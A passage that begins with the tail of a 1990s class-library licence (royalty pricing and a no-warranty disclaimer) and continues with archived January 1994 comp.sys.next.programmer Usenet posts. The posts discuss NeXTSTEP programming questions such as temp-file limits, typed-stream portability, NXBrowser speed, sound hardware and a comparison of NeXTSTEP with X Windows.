revenue that you can document, you can pay a fixed 5% royalty on all revenues, up until you have completely paid off the amount indicated by the second plan, which is: 2. Payment is $1000 for up to five developers at your site using the objects. Additional seats can be purchased on a decreasing exponential scale. For n>5 developers, the cost is given by, $1000 + $9000 * (1 - exp(-0.02 (n - 5))) Here are some representative numbers: Seats Total Cost 6 $ 1178 10 $ 1856 20 $ 3333 80 $ 7992 160 $ 9595 500+ $10000 The royalty arrangement is intended to make the class library affordable for small developers who are unsure what kind of profits to expect on their finished work. Note that under both plans, once you've paid in full once, the kit is yours for commercial use in any number of applications. You needn't pay anew for every new program. If you finish your application and think that these prices are too high or low, I would appreciate it if you could let me know. The only way I can price things fairly is with feedback from potential customers. And now, the usual disclaimer :-) No Warranty THERE IS NO WARRANTY FOR THIS CODE, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY ``AS IS'' WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. End of License Terms and Conditions
Newsgroups: comp.sys.next.programmer From: mburg@westwerk.cube.de (Michael Burgstahler) Subject: How to control Mail.app from other apps Message-ID: <1994Jan14.165005.558@westwerk.cube.de> Sender: mburg@westwerk.cube.de Organization: Westwerk Date: Fri, 14 Jan 1994 16:50:05 GMT Maybe this is FAQ but I couldn t find any documentation about this simple task: Is there a simple analogon to the Workspace Request protocol in Mail.app ? I m trying to program a simple service in my app which has to generate a compose window in Mail by delivering some RTF text. Does anybody know where to look ? Thanks ! ***************************************************** Michael Burgstahler mburg@westwerk.cube.de (NeXTmail welcome) Two Tribes Informationsgestaltung GmbH Forststrasse 163/1 70193 Stuttgart Fon 0711 / 638360 Fax 0711 / 634696 ****************************************************** -- ***************************************************** Michael Burgstahler mburg@westwerk.cube.de (NeXTmail welcome) Two Tribes Informationsgestaltung GmbH Forststrasse 163/1
Newsgroups: comp.sys.next.programmer From: scott@parsec.mixcom.com (Scott Violet) Subject: Creating your own assocation Message-ID: <1994Jan14.222519.1446@parsec.mixcom.com> Summary: How to? Keywords: DBAssocation, DBFetch Organization: SmartSoft Distribution: usa Date: Fri, 14 Jan 1994 22:25:19 GMT Hi all, I'm having a little trouble using DBAssociations. What I'm trying to do is to have an object coordinate with a UI object to display some data from a DB. What I've tried doing is to create my own assocation via makeAssociationFrom:anExpr to:aView method. But, the aView object isn't a view. I gather that this object (aView) must conform to the DBCustomAssocation methods. When I implement all of the DBCustomAssociation methods I only get the following: associationContentsDidChange:, associationSelectionDidChange:. When want I really want is notification that I should be changing the value ie association: setValue:, which I never get. Am I missing something here? Any suggestions or code snippets that use a DBCustomAssocation methods would be great. Thanks in advance, -Scott Violet (scott@SmartSoft.com)
From: gbol@custard.think.com (Gregory Lampshire) Newsgroups: comp.sys.next.programmer Subject: pthreads over NS3.X mach, any PD implementions? Date: 14 Jan 94 20:20:51 Organization: Thinking Machines Corporation Distribution: world Message-ID: <GBOL.94Jan14202051@custard.think.com> I am looking for a public domain implementation of pthreads over NS3.X mach threads. I am looking for something very close to the posix implementation and not just a new face for cthreads. I do not not want it implemented at a library level like pthreads from florida state (and it is only for suns anyway). Any help much appreciated... gregory
From: hal@alfred.econ.lsa.umich.edu (Hal Varian) Newsgroups: comp.sys.next.programmer Subject: increasing the maximum number of temporary files Date: 15 Jan 1994 01:32:58 GMT Organization: University of Michigan Distribution: world Message-ID: <2h7h4a$9u4@controversy.math.lsa.umich.edu> It appears from stdio.h that the maximum number of temporary files that can be created with tmpnam or mktemp is TMP_MAX = 25. I would like this to be much larger (e.g., 250). Are there any easy ways to do this, or do I have to write my own mktemp? -- Hal.Varian@umich.edu Hal Varian voice: 313-764-2364 Dept of Economics fax: 313-764-2364 Univ of Michigan Ann Arbor, MI 48109-1220
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: Porting NS prototypes to X-windows Message-ID: <1994Jan15.003947.1810@planon.qc.ca> Sender: yanik@planon.qc.ca References: <9401141758.AA13429@cantina.lanl.gov> Date: Sat, 15 Jan 1994 00:39:47 GMT In article <9401141758.AA13429@cantina.lanl.gov> silbar@cantina.lanl.gov (Dick Silbar) writes: > Greetings all, > > I have run into the following stumbling block when I am pitching NEXTSTEP to > prospective clients, such as yesterday afternoon. I went through what I consider as > a succesful demo of a prototype of a NS front-end to a Fortran batch code that my > potential client sells to engineering firms for doing fluid dynamics calculations. > In the end his reaction was, essentially: > > "Well, nice, but I don't want to force MY customers into using a platform they've > never heard of or don't want to get into. How hard would it be to develop your > front-end for my code and then, when we're happy with it, port it to X?" > > OK, I don't know very much about X-windows, so I am passing the question along to > you folks. Surely this must be a common situation we NEXTSTEP developers face, but > I don't recall ever seeing a discussion about it here in this newsgroup. (Maybe I > just wasn't paying attention?) > > Some questions: > > 1. I was making the (unsubstantiated?) claim that NS development was about four > times easier (faster, simpler, cleaner, etc.) than X-windows development. True? False! I used to work with the MacOS (which is easier than X-Window) and I feel that the factor NS/Mac of 10 even 20 would be more appropriate. > > 2. Is the NS developers' environment "richer" than that for X? I.e., is it more > straightforward to port from NS to X, or vice versa? It is hard to compare. Object-oriented programming (with NeXTSTEP) is considered better than regular structured programming. With Interface Builder, building working interface is an easy task. A good NS Programmer could create a Word Processing application in 30 minutes. It is just matter of moving objects and connecting them. Comparing X-Window to NeXTSTEP is like comparing a chariot to an automobile. Both the chariot and the automobile use the road to move from point A to point B. Now imagine in 1900 an old UPS manager investigating for new vehicules and saying: automobiles seem very good but it is not as standard as horses and our customers will be nervous if they don't see horses... Could you find some way to put horses in the front of an automobile? By the way, what is the fundamental difference between NeXTSTEP and X? 1) NS uses Display PostScript and X uses bit maps. 2) X is a set of primitives driving a screen, picturing bit maps of windows. NeXTSTEP is a complete OS that can do anything both what X-Server and X-Client can do. With NeXTSTEP, you are forced to think-object, live-object, eat-object, do anything with objects. So the code written for the NeXT is deeply object oriented. With the X environment, you can't even dream about objects. (It is not beacause you use C++ that you create objects; so, show me C++ objects working with X that could do what Appkit does!) -- Yanik Crepeau Programmer Planon Telexpertise E-Mail: yanik@planon.qc.ca (NeXT)
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: Are structs evil for MAB typedstreams? Message-ID: <CJMnny.4J6@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <1994Jan11.151020.5679@prim.demon.co.uk> Date: Fri, 14 Jan 1994 16:11:58 GMT In article <1994Jan11.151020.5679@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) writes: >You make it sound as though Greg has just made a simple programming error >with regard to "endian issues", which I don't think is quite fair. It was >reasonable of him IMO to assume that typed streams would be portable. >NXWriteTypes/NXReadTypes have all the information they require to archive >structures hardware-independently, so why don't they? I thought Next's typed streams stuff did handle endianness. The problem here seems to be a matter of structure packing. If that's the case, you might try changing the structure to have all its members aligned on long word boundaries. Seems to me there are two questions... Do typed streams or don't they support endianness independence? Do typed streams support struct packing independence? Seems the second one would be more difficult to manage, but probably not impossible. Does anyone have definitive answers here? ____________________________________________________________ Mike Ferris A little bit faster, mike@lorax.com A little bit more, Rubicon Software A little bit further (510) 652-2039 than you've gone before.
From: greis@cg-atla.UUCP (Peter Greis) Newsgroups: comp.sys.next.programmer Subject: Old gnu... Keywords: compiler Message-ID: <10511@cg-atla.UUCP> Date: 14 Jan 94 12:22:51 GMT Distribution: usa Organization: Agfa Compugraphic Division, Wilmington, Mass. USA Does anyone know where older versions of the gcc source is hiding? I'm looking for gcc2.3.3 to build a cross-compiler for a micro-controller. Someone has already added the extra defs to build the compiler to some source I already have, but it fails to build with the latest version (2.5.7). thanx in advance, -peter P.S. Yes, I did check prep.ai.mit.edu.
From: kenyon@cse.unl.edu (Paul Kenyon) Newsgroups: comp.sys.next.programmer Subject: DBEdit beta release announcement Date: 14 Jan 1994 23:23:54 GMT Organization: University of Nebraska--Lincoln Distribution: world Message-ID: <2h79ia$9ef@crcnis1.unl.edu> Summary: quick, easy database access Keywords: DBEdit DBKit nextstep application DBEdit Beta Release Announcement Hickman - Kenyon Systems, Inc 3425 South 115th Street, Omaha, NE 68144 (402) 697-1310 Fax: (402) 330-8613 Nextmail: hhickman@andi.org Hickman - Kenyon Systems, Inc, developers of the OTTR patient tracking system for use in organ transplant programs, announces the beta release of DBEdit. DBEdit is a general purpose NeXTSTEP application for editing DBKit databases. DBEdit provides quick, easy access to the tables, records, and values of a database independent of more structured mission-critical custom applications that have specialized user interfaces. DBEdit is intended for: * Database developers - for generation of test databases, database import/export, and manipulation of database values. * Database testers - for verification of database updates, and flexible database access. * Adaptor developers and testers - for DBKit adaptor verification and validation. * Database site administrators - for database maintenance, verification, database import/export. * Database power users - for database import/export, graphing, impromptu surveys and report generation. * Others who need a convenient tool for exploring, maintaining, and manipulating DBKit-based databases. DBEdit Features Include: * DBKit Support - Generalized DBKit interface (use with ANY DBKit Adaptor and database). DBEdit has been tested with Interbase (IBAdaptor), Sybase (SybaseAdaptor), GNU gdbm (gdbmAdaptor), and SQLBase (GuptaAdaptor). * Connection Management - Browser selection of available Adaptors and Databases, previously used database connections recorded for later quick connect. DBEdit uses the database model to automatically configure its tables and columns. * Multiple Connections - Allows simultaneous connections to multiple databases, adaptors, and servers - even servers from different vendors. * Table Browser - Lists all the tables available in the database. * Column Browser - Lists all the columns available in the database. * Multiple Tables - Simultaneous viewing of multiple tables. * Graphing - Easy-to-use, integrated graphing of data directly from DBKit tables: + Multiple Columns - Graphing of any one or multiple columns. + Drag and Drop Exporting - Simply drag-and-drop to export graphs to other NeXTSTEP documents. + Selectable X-axis - Choose a column to use as the X-axis and plot one column versus another. + Data Types - Graph numeric, date, and string data. + Automatic Legends - Legends generated according to data range. * Searching - Three types of searching are supported: + Search any column using an intelligent search engine with automatic keystroke completion. + Search tables for values or regular-expression matches. + Retrieve records using DBKit Qualifiers consisting of limits on a particular column. * Sorting - Convenient user interface for sorting by any column in a table. (simple drag-and-drop control) * Copy & Paste - Simple copy/paste user interface for copying data into or out of a database table, between tables and databases, or into/out-of external documents. * Import - Controllable formats for importing field-delimited data into records. * Export - Export tables to RTF suitable for inclusion in a larger document. Tables are broken across pages, with column, record, and page headings. * Printing - Formatted multi-page printouts of large tables. Beta Release: DBEdit is ready for release to beta test sites. Hickman - Kenyon Systems is currently accepting applications for beta testers. Selected beta testers will immediately receive a beta test / demo copy of DBEdit via Nextmail or floppy disk. Beta test sites must accept a non-disclosure agreement before receiving or activating the software. This beta test/demo version of DBEdit expires on March 1, 1994, afterwhich the software will be inoperable. The most productive beta testers will receive a free copy of the first production release of DBEdit. Contact HKS at: hhickman@andi.org
From: krause@math.tu-berlin.de (Martin Krause) Newsgroups: comp.sys.next.programmer Subject: Problem with NXBrowser Date: 15 Jan 1994 12:46:11 GMT Organization: TUBerlin/ZRZ Distribution: world Message-ID: <2h8oij$9li@brachio.zrz.TU-Berlin.DE> Hello, I have need of a browser, which is able to display long paths (approx. 200 entries long) fast. The problem with NXBrowser is, that when it adds a column, this column is displayed immediately. So selecting a new long path with setPath: cause the browser to display all columns (while it scrolls left), even though there are only a few columns visible in the browser. So the processing of setPath: can take up to 5 seconds. [browser setAutodisplay:NO] and [window disableDisplay] don't really bring a performance gain. I have worked nearly two days over this problem. Have I missed something fundamental? Do I have to implement my own browser from scratch? Where can I find sources for a browser? Any help greatly appreciated. Thanks a lot. Martin Krause ===================================================================== Martin Krause, Technical University Berlin, Department of Mathematics e-mail: krause@math.tu-berlin.de
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: increasing the maximum number of temporary files Date: Sat, 15 Jan 1994 10:59:47 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Distribution: world Message-ID: <ghC1=nC00iV1A1i9YM@andrew.cmu.edu> In-Reply-To: <2h7h4a$9u4@controversy.math.lsa.umich.edu> Excerpts from netnews.comp.sys.next.programmer: 15-Jan-94 increasing the maximum numb.. by Hal Varian@alfred.econ.l > It appears from stdio.h that the maximum number of temporary > files that can be created with tmpnam or mktemp is TMP_MAX = 25. > I would like this to be much larger (e.g., 250). Are there any > easy ways to do this, or do I have to write my own mktemp? I think that you can create as many temp files as you wish, so long as you close old ones when you are done with them. Do you really need to create more than 25 tmp files at once? -Chuck Charles William Swiger -- CMU...*splat*! | 1. You can't fly. --------------------------------------------+ 2. Cars are always real, even AMS & normal mail: infidel@cmu.edu | when they're not. Failing that: cs4w+@andrew.cmu.edu | 3. Police are not your friends. NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | 4. Fire burns.
Newsgroups: comp.sys.next.programmer From: peter@dflora.com (Peter D. Wilson) Subject: Unicode ?? Message-ID: <1994Jan15.063711.374@dflora.cuug.ab.ca> Sender: peter@dflora.cuug.ab.ca Organization: Dflora Systems Inc. Date: Sat, 15 Jan 1994 06:37:11 GMT Does anyone know if and when NeXT (and Sybase ) will be offering support for the unicode character set ? Is it in NS3.2 ? Thanks, -- peter d. wilson email: peter@dflora.com , peter@dflora.cuug.ab.ca (NeXTMail OK) Voice: (403) 283-9743 Fax: (403) 283-0036
From: Hal.Varian@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: increasing the maximum number of temporary files Date: 15 Jan 1994 18:26:40 GMT Organization: University of Michigan - College of Literature, Science, and TheArts Distribution: world Message-ID: <2h9ch0$ddp@controversy.math.lsa.umich.edu> References: <ghC1=nC00iV1A1i9YM@andrew.cmu.edu> In article <ghC1=nC00iV1A1i9YM@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: > Excerpts from netnews.comp.sys.next.programmer: 15-Jan-94 increasing the > maximum numb.. by Hal Varian@alfred.econ.l > > It appears from stdio.h that the maximum number of temporary > > files that can be created with tmpnam or mktemp is TMP_MAX = 25. > > I would like this to be much larger (e.g., 250). Are there any > > easy ways to do this, or do I have to write my own mktemp? > > I think that you can create as many temp files as you wish, so long as > you close old ones when you are done with them. Do you really need to > create more than 25 tmp files at once? > This is the default behavior of Mosaic---it creates tmp files for inline images. Of course it is easy to hack the code to give the temp files "systematic" names, but it would be nicer to avoid diddling with the standard distribtuion. -- Hal.Varian@umich.edu Hal Varian voice: 313-764-2364 Dept of Economics fax: 313-764-2364 Univ of Michigan Ann Arbor, MI 48109-1220
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: increasing the maximum number of temporary files Date: Sat, 15 Jan 1994 16:38:24 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Distribution: world Message-ID: <QhC69EW00WBMA4NJMD@andrew.cmu.edu> In-Reply-To: <2h9ch0$ddp@controversy.math.lsa.umich.edu> Excerpts from netnews.comp.sys.next.programmer: 15-Jan-94 Re: increasing the maximum .. by Hal.Varian@umich.edu > This is the default behavior of Mosaic---it creates tmp files for inline > images. Of course it is easy to hack the code to give the temp files > "systematic" names, but it would be nicer to avoid diddling with the > standard distribtuion. Okay, I understand. (That may even be a reasonable thing for it to do. :-) Try creating filenames of the form "/tmp/MosaicXXXXYYYYY" where XXXX is your temp number and YYYYY is the PID. It's basically what mktmp does, anyway. -Chuck Charles William Swiger -- CMU...*splat*! | 1. You can't fly. --------------------------------------------+ 2. Cars are always real, even AMS & normal mail: infidel@cmu.edu | when they're not. Failing that: cs4w+@andrew.cmu.edu | 3. Police are not your friends. NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | 4. Fire burns.
From: slwdz@cc.usu.edu Newsgroups: comp.sys.next.programmer Subject: Re: increasing the maximum number of temporary files Message-ID: <1994Jan15.114843.7933@cc.usu.edu> Date: 15 Jan 94 11:48:42 MDT References: <2h7h4a$9u4@controversy.math.lsa.umich.edu> Distribution: world Organization: Utah State University In article <2h7h4a$9u4@controversy.math.lsa.umich.edu>, hal@alfred.econ.lsa.umich.edu (Hal Varian) writes: > It appears from stdio.h that the maximum number of temporary > files that can be created with tmpnam or mktemp is TMP_MAX = 25. > I would like this to be much larger (e.g., 250). Are there any > easy ways to do this, or do I have to write my own mktemp? Try the function: extern char *NXGetTempFilename(char *name, int pos); It is defined in defaults.h, but I don't see any maximum numbers for it defined anywhere. John Zollinger slwdz@cc.usu.edu
From: slwdz@cc.usu.edu Newsgroups: comp.sys.next.programmer Subject: Re: Are structs evil for MAB typedstreams? Message-ID: <1994Jan15.120040.7937@cc.usu.edu> Date: 15 Jan 94 12:00:40 MDT References: <1994Jan11.151020.5679@prim.demon.co.uk> <CJMnny.4J6@lorax.com> Organization: Utah State University In article <CJMnny.4J6@lorax.com>, mike@lorax.com (Mike Ferris) writes: > In article <1994Jan11.151020.5679@prim.demon.co.uk> dave@prim.demon.co.uk > (Dave Griffiths) writes: >>You make it sound as though Greg has just made a simple programming error >>with regard to "endian issues", which I don't think is quite fair. It was >>reasonable of him IMO to assume that typed streams would be portable. >>NXWriteTypes/NXReadTypes have all the information they require to archive >>structures hardware-independently, so why don't they? > > I thought Next's typed streams stuff did handle endianness. The problem > here seems to be a matter of structure packing. If that's the case, you > might try changing the structure to have all its members aligned on long > word boundaries. Seems to me there are two questions... > > Do typed streams or don't they support endianness independence? > Do typed streams support struct packing independence? > > Seems the second one would be more difficult to manage, but probably not > impossible. Does anyone have definitive answers here? I recently explored this issue when trying to track down some strange problems with an app. This is what I found: (In Concepts/Portability Guide.rtf) "What you need to be concerned with is data that your application reads and writes directly. The rule is simple: If you're reading and writing multi-byte data, you should always use typed streams. The typed stream functions recognize the byte-order differences between machines and can identify the sort of machine on which a particular stream of data was written. Typed streams are comprehensively described in Chapter 3, *Common Classes and Functions,: of the NEXTSTEP General Reference (/NextLibrary/Documentation/ NextDev/GeneralRef/03_Common); the typed stream functions are declared in the header file objc/typedstream.h." What I was _not_ aware of though (and what I got bitten by in my app) was: "Bitfields in a structure, even when written through a typed stream, will be improperly represented. The use of bitfields in a file format is strongly discouraged." It then goes on to show some ways to get around this problem. Hope this helps, John Zollinger slwdz@cc.usu.edu
From: kheit@gandalf.rutgers.edu (John Kheit) Newsgroups: comp.sys.next.programmer Subject: NSi, No Simult Snd Rec&Play Message-ID: <Jan.15.19.09.04.1994.26632@gandalf.rutgers.edu> Date: 16 Jan 94 00:09:05 GMT Organization: Rutgers Univ., New Brunswick, N.J. Hi, I dont know if this is a statement or a question... Im working on an app that needs to record and play .snd's simultaneously. On black hardware this is no problem at all. On white it seems to be an 'either or' proposition. You can play several sounds simultaneously...Im not sure if you can record several sounds simultaneously, but you cannot play a sound and record at the same time. Or is there some kind of trick to in on intel? Is it a bug and it will be supported in the future. Im guessing it may be a limitation of the hardware (in my case a PAS 16). Welp, if anyone has sucessfully recorded & played snd's at the same time on an intel machine I'd appreciate it, if you could tell me how you accomplished this task. Thanks, Later, John
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Fsp for NeXT? Message-ID: <1994Jan16.040750.1148@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <k92-kum.22.758569200@tekn.hj.se> Date: Sun, 16 Jan 1994 04:07:50 GMT See <1994Jan16.033624.29883@csus.edu> in alt.comp.fsp. -=EPS=-
Newsgroups: comp.sys.next.programmer From: jmack@skye.phys.ualberta.ca Subject: Re: libg++ 2.5.3 on NEXTSTEP 3.2 Message-ID: <1994Jan16.051126.4167@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1994Jan13.122119.944@gamelan> Date: Sun, 16 Jan 1994 05:11:26 GMT In article <1994Jan13.122119.944@gamelan> thf@zelator.in-berlin.de (Thomas Funke) writes: > In article <1994Jan10.222343.13965@rna.indiv.nluug.nl> > gerben@rna.indiv.nluug.nl writes: > > > gcc 2.5.7 and libg++ 2.5.3 work perfectly on NeXT if you didn't patch the > install: > > /tmp> cat x.cc > #include <iostream.h> > > main() > { > cout << "Hello world\n"; > } > > /tmp> gcc x.cc -lg++ > /tmp> a.out > Hello world > /tmp> .. Even easier is (using libg++ version 2.5.3 on black 3.0): 28 skye# g++ -v gcc -v Reading specs from /usr/local/lib/gcc-lib/m68k-next-bsd/2.5.7/specs gcc version 2.5.7 29 skye# g++ x.cc 30 skye# ./a.out Hello world -- James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab Computing/Networking Phone : (403) 492-8226 Department of Physics email : jmack@phys.ualberta.ca University of Alberta uucp : uofaphys!jmack iskye!jmack Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Okay, maybe categories are useful... Message-ID: <1994Jan16.064658.27798@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Sun, 16 Jan 1994 06:46:58 GMT Well, I feel a bit like someone who offhandedly insulted someone's favorite sports team while telling a joke... Anyway, a lot of people have mailed me, with attitudes ranging from incredulity to scorn about my assertion that I'd "finally found a good use for categories" in trying to get rid of some compiler warnings. Well, I've certainly learned my lesson; I've been given several examples of other uses of categories (most of them real, none of which have ever been an issue for me; but they're good examples, nonetheless). So please, folks, stop sending me indignant e-mail about categories. You're right, I'm wrong, categories are good things. Hey, how 'bout those Bears? :) -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: BrianW@SoundS.WA.com (Brian Willoughby) Subject: Re: NSi, No Simult Snd Rec&Play Message-ID: <CJpunI.ID6@sounds.wa.com> Sender: brianw@sounds.wa.com (Brian Willoughby) Organization: Sound Consulting, Bellevue, WA, USA References: <Jan.15.19.09.04.1994.26632@gandalf.rutgers.edu> Date: Sun, 16 Jan 1994 09:35:41 GMT John Kheit writes | I dont know if this is a statement or a question... Im working on an | app that needs to record and play .snd's simultaneously. On black hardware | this is no problem at all. On white it seems to be an 'either or' | proposition. | You can play several sounds simultaneously...Im not sure if you can record | several sounds simultaneously, but you cannot play a sound and record at the | same time. Or is there some kind of trick to in on intel? Is it a bug and | it will be supported in the future. Im guessing it may be a limitation of | the hardware (in my case a PAS 16). Welp, if anyone has sucessfully recorded | & played snd's at the same time on an intel machine I'd appreciate it, if you | could tell me how you accomplished this task. This is not a NEXTSTEP bug - just another example of how NeXT hardware is superior (at least to Intel hardware) when it comes to handling "multimedia". I am absolutely certain that the SoundBlaster cards (at least most of the early releases) are hardware limited such that sound input and output cannot happen at the same time. Mostly a restriction due to there only being one (almost) safely available DMA channel to allocate to audio. The NeXT has many (the number 27 comes to mind), although I am not aware how many can be assigned to DSP and DAC functions at the same time (certainly at least three). There are also limitations to simultaneous MIDI and sound. As for the Pro Audio Spectrum 16, I am not so certain about the limitations, but my recollection is that the restrictions are similar to the SoundBlaster (they're compatible, anyway, right?) -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
Newsgroups: comp.sys.next.programmer From: BrianW@SoundS.WA.com (Brian Willoughby) Subject: Error: invalidaccess; OffendingCommand: currentframebuffertransfer Message-ID: <CJpuy3.IDy@sounds.wa.com> Keywords: PostScript frame buffer transfer Sender: brianw@sounds.wa.com (Brian Willoughby) Organization: Sound Consulting, Bellevue, WA, USA Date: Sun, 16 Jan 1994 09:42:03 GMT This is primarily a Display PostScript question which relates specifically to a dual-headed NeXTdimension which has the MegaPixel set as a secondary display. See the Developer Release Notes for details on the relevant DPS operators. Bug_NeXT will get a copy of this soon unless someone shows me that I am making a glaring mistake somewhere... I am using countframebuffers to determine the valid range to send as the parameter to currentframebuffertransfer. My system has the NeXTdimension as the primary display, and I am able to get the currentframebuffertransfer and set it with setframebuffertransfer when fbnum is 0. However, I cannot access the MegaPixel display. Perhaps I have something missing from NetInfo which must be set in order to enable this, but the MegaPixel entry looks almost just like the NeXTdimension entry. Why am I getting an "invalidaccess" ? Here is a dump of a session with pft showing the problem in isolation (the rangecheck is expected, of course, but shown for contrast): countframebuffers = 2 0 currentframebuffertransfer pstack {1 1.0 --div-- --exp--} {1 2.0 --div-- --exp--} {1 1.6 --div-- --exp--} {1 1.8 --div-- --exp--} pop pop pop pop 1 currentframebuffertransfer %%[ Error: invalidaccess; OffendingCommand: currentframebuffertransfer ]%% = 1 2 currentframebuffertransfer %%[ Error: rangecheck; OffendingCommand: currentframebuffertransfer ]%% = 2 -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
Newsgroups: comp.sys.next.programmer From: jfr@aspen.pdh.com (Jon F. Rosen) Subject: Re: Porting NS prototypes to X-windows Message-ID: <CJpw2C.Fp8@pdh.com> Sender: news@pdh.com (USENET News Account) Organization: PDH, Inc. References: <1994Jan15.003947.1810@planon.qc.ca> Date: Sun, 16 Jan 1994 10:06:11 GMT Yanik Crepeau writes > > By the way, what is the fundamental difference between NeXTSTEP > and X? > > 1) NS uses Display PostScript and X uses bit maps. Yanik, you are misstating what X is and isn't. X can't be compared to NeXTSTEP because X is NOT an OS, it is a display protocol. X can and should be compared to Display Postscript. Your statement is like saying the 747 uses a Pratt&Whitney jet engine, but a Rolls-Royce jet engine uses JP-50 fuel. So what? You should be comparing the engines, not a plane to another engine. More importantly, you leave the impression that X uses bit maps whereas Postscript (or NeXT) use something else. Postscript uses bit maps just as much as X does in its back-end display to render images to devices. X uses bit maps just as much as Postscript does in much of its front-end (X and Postscript can both handle TIFF images, etc.). X, like Postscript, also has a set of line-drawing and curve drawing primitives, as well as font-rendering and color setting primitives. The main differences between X and Postscript are that Postscript is also the standard used in most printers that support more than just character or bit-map printing and X has no equivalent support in any printing system, and Postscript uses a language to implement its drawing primitives, while X is basically a set of library APIs. On the pro side of X, it has a standardized networking interface which permits X to operate in a client/server mode which allows you do detach the display operations from the program. NeXT does this too (although Display Postscript itself doesn't require it). However, NeXT only lets you use a NeXTSTEP-equipped workstation as the window server (although it can be a different NeXTSTEP-equipped workstation than the one running the program) whereas X lets you use any system that supports the X protocol. > 2) X is a set of primitives driving a screen, picturing bit maps > of windows. NeXTSTEP is a complete OS that can do anything > both what X-Server and X-Client can do. > > With NeXTSTEP, you are forced to think-object, live-object, > eat-object, do anything with objects. So the code written for > the NeXT is deeply object oriented. With the X environment, > you can't even dream about objects. (It is not beacause you > use C++ that you create objects; so, show me C++ objects > working with X that could do what Appkit does!) I don't understand these last lines, but I have certainly used X under Sun OS and C++ and Motif with a GUI builder like Interface Builder that supported C++ bindings to Motif "wdigets" (like AppKit objects) and allowed an amazing amount of stuff to be done like IB. Even better, it had a built-in interpreter for C and C++, so you could actually run all of your code (not just "test the interface" like in IB) inside the GUI Builder (it was called UIM/X). This was MUCH better than IB. Does this mean I liked it better than NeXT? No, but for reasons based in reality, not imagination. Basically, it was just harder to write programs in C++ and Motif because the supplied objects and interfaces just weren't good enough. But this has little to do with X. In fact, I expect that Display Postscript layered on top of X (which is perfectly feasible and has already been done on a number of systems) will allow OpenStep to work in X environments as well (possibly even better and more flexibly) as in a native NeXTSTEP environment. Jon Rosen
